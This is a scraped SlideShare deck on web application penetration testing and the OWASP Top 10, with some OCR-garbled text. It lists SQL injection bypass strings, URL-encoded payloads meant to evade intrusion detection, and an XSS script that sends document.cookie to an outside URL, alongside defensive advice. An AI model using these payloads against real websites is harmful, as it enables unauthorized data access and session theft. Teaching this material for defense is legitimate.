Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Reliable and fast security audits - The modern and offensive way-Mohan Gandhi


Published on

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Reliable and fast security audits - The modern and offensive way-Mohan Gandhi

  1. 1. Entersoft Information Systems Pvt Ltd
  2. 2. •  Introduction to web application penetration testing –  How and why? –  Automated tools demo •  Open Web Application Security Project (OWASP) –  Introduction •  Top 10 Security Vulnerabilities –  Injections and cheat codes •  Filter Evasion
  3. 3. Web is a platform of collaboration, a place where users can share, can interact and can build up on the work of their own as well as that of others’… Blah Blah Blah Blah Blah…… No, it’s a Dangerous place!
  4. 4. •  Demo
  5. 5. Injection Security   Misconfigurat ion Broken   Authenticatio n  &  Session   Management Unvalidated   Redirects  and   Forwards Using   Components   with  Known   Vulnerabilities Cross-­‐‑Site   Scripting Missing   Function   Level  Access   Control Unvalidated   Redirects  and   Forwards Insecure   Direct  Object   References Cross-­‐‑Site   Request   Forgery
  6. 6. Used  when  your  app  sends  user-­‐‑supplied  data  to  other  apps Database,  Operating  System,  LDAP,  Web  Services Hackers  "ʺinject"ʺ  their  code  to  run  instead  of  yours To  access  unauthorized  data,  or  completely  take  over   remote  application §  Code expects a nice parameter in the URL • The above url expects username & Password like statement  =  "ʺSELECT  *  FROM  users  WHERE  name  ='ʹ"ʺ  +   userName  +  "ʺ'ʹ;“  +Password+”;” Hacker could instead supply Statement  =  “SELECT  *  FROM  users  WHERE  name  =  'ʹ'ʹ  OR  'ʹ1'ʹ='ʹ1'ʹ   -­‐‑-­‐‑  'ʹ;”
  7. 7. Don’t:  name  your  child SELECT  *  FROM  userinfo  WHERE  id=Robert;DROP  TABLE   users; Do:  expect  SQL  Injection
  8. 8. or  1=1 ‘or  1=1 “or  1=1 or  1=1– ‘or  1=1– “or  1=1– or  1=1# ‘or  1=1# “or 1=1#     or  1=1/* ‘or  1=1/* ‘or’ ‘or “or  1=1/* or  1=1;%00 ‘or  1=1;%00 “or  1=1;%00 ‘or’– ‘or– or  a=a ‘or  a=a “or  a=a or  a=a– ‘or  a=a  – “or  a=a– or  ‘a’=’a’ ‘or  ‘a’=’a’ “or  ‘a’=’a’ ‘)or(‘a’=’a’ “)”a”=”a” ‘)’a’=’a ‘or’’=’ You can try all the combinations for string “or a=a” that we have tried for “or 1=1”….. Lke #,–, /* etc…
  9. 9. •  Demo
  10. 10. hap://[site]/page.asp?id=2  or  2=2-­‐‑-­‐‑    (Instead  of  1=1  u  can  use  2=2) hap://[site]/page.asp?id=2  or  1<2–     hap://[site]/page.asp?id=2  or  1  like  1–  (instead  of  “=“  we  use  like) hap://[site]/page.asp?id=2  /**/or  /**/2/**/=/**/2-­‐‑-­‐‑    (comments) Ids  ‘s  easily  detect  -­‐‑-­‐‑,<,>=  so  we  can  encode  and  try hap://[site]/page.asp?id=2  or  2%3B2%2D%2D hap://[site]/page.asp?id=2  or  1%3C2%2D%2D hap://[site]/page.asp?id=2  or  1  like  1%2D%2D hap://[site]/page.asp?id=2  /**/or  /**/2/**/=/**/2%2D%2D
  11. 11. • "ʺConnections"ʺ  between  systems  are  highly  vulnerable • Always  assume  data  coming  in  could  be  "ʺevil"ʺ • be  sure  to  include  "ʺevil"ʺ  use  cases  and  user  stories  in  your   design • Ideally,  only  allow  the  user  to  select  among  "ʺsafe"ʺ  options • no  generic  text  allowed • If  user-­‐‑input  text  is  needed,  use  parameterized  queries • clean  up  quotes,  parenthesis,  and  SQL  comments • Use  a  baale-­‐‑tested  library  for  protecting  your  database • Java  PreparedStatement,  OWASP'ʹs  ESAPI  codecs
  12. 12. Sites  must  "ʺcleanse"ʺ  user  input  before  displaying  it   Hackers  can  create  URLs  to  inject  their  own  HTML  onto  the  page can  be  used  to  do  almost  any  kind  of  aaack!!! Example:  JSP  to  draw  HTML  based  on  user  input String  html  =  "ʺ<input  name='ʹitem'ʹ  type='ʹTEXT'ʹ  value='ʹ"ʺ  +   request.getParameter("ʺitem"ʺ)  +  "ʺ'ʹ>"ʺ; Code  expects  a  nice  URL: hap:// But  a  hacker  could  supply  this: hap:// q='ʹ><script>document.location='ʹ hap://'ʹ+document.cookie</script> Then,  try  to  trick  somebody  to  go  to  that  URL Stolen  cookies  are  frequently  as  good  as  stole  passwords
  13. 13. Never,  ever,  ever  trust  user-­‐‑submiaed  content! URLs,  comments  threads,  web  forms Properly  "ʺescape"ʺ  any  data  before  displaying  it  on  web  pages JavaScript  parameters,  URL  parameters,  STYLE  elements Remove  script  tags,  and  possibly  anything  with  a  SRC   aaribute Use  ESAPI  to  "ʺcleanse"ʺ  your  HTML Do  not  allow  state-­‐‑change  from  HTTP  GET  requests Otherwise,  an  IMG  tag  could  cause  you  to  lose  all  your  data Set  the  HapOnly  flag  in  your  response  headers Prevents  document.cookie  from  working  in  JavaScript
  14. 14. Assume  my  user  id  is  238 I  see  a  link  on  “My  Projects”  page  that  goes  here: hap:// If  I  alter  the  URL,  can  I  see  other  people’s  projects? hap:// Do  you  only  restrict  access  in  the  web  form? What  if  I  could  "ʺguess"ʺ  the  URL?  Could  I  see  the  page? Don'ʹt  trick  yourself  into  thinking  complex  URLs  are  any  more   secure Security != Obscurity
  15. 15. Every  resource  needs  a  security  level What  roles  do  you  need  to  access  certain  items? Access  Control  Lists  are  easy  to  implement,  but  don’t  always   scale All  access  to  that  resource  should  go  through  the  same  check What  action  are  you  taking,  with  what  resource? Put  it  all  in  one  common  codebase  for  simplicity May  need  to  run  check  multiple  times,  for  sub-­‐‑actions  and   sub-­‐‑resources Unusual  behavior?  Have  additional  authentication  questions/ layers! Front-­‐‑end  restriction  is  nice  for  usability,  but  not  security Back-­‐‑end  application  must  double-­‐‑check  access  rights
  16. 16. HTTP  is  a  "ʺstateless"ʺ  protocol Nice  and  simple:  HTTP  request,  HTTP  response All  data  must  be  passed  in  the  request  every  time How  do  we  store  state? Client  side  with  cookies Server  side  with  sessions Most  apps  place  a  "ʺsessionId"ʺ  in  cookies,  or  in  the  URL Problem:  now  stealing  sessionIds  is  just  as  good  as  stealing   passwords! Multiple  ways  to  determine  a  session  ID packet  sniffing  -­‐‑-­‐‑  especially  on  an  open  WiFi  access  point  or  LAN HapReferrer  logs,  if  sessionId  is  in  the  URL
  17. 17. Assume  that  a  user  stole  a  session  ID Determine  how  bad  this  would  be  in  your  application Use  SSL  everywhere! Makes  it  harder  for  people  to  “sniff”  your  session  ID If  you  cannot  use  SSL  everywhere,  use  it  for  logins Have  a  cryptographically  strong  session  ID Good  sessionIds  should  be  very  difficult  to  re-­‐‑use Embed  user  IP  address,  user  name,  timestamp,  and  a  secret Forces  an  aaacker  to  spoof  IP  addresses  to  take  over Prompt  for  re-­‐‑login  if  IP  changes  during  a  session
  18. 18. ?
  19. 19. Ph: +91-40 65810005